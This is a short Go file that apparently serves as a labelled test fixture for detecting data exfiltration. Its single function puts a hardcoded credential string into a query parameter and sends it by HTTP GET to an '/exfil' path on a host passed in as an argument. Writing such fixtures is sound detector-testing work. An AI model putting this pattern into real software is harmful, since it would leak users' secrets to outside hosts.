// Phase 11 (Track J.9) — Go DATA_EXFIL vuln fixture. package vuln import ( "net/http" "net/url" ) func Run(host string) { secret := "alice-creds" q := url.Values{"token": {secret}} u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()} _, _ = http.Get(u.String()) }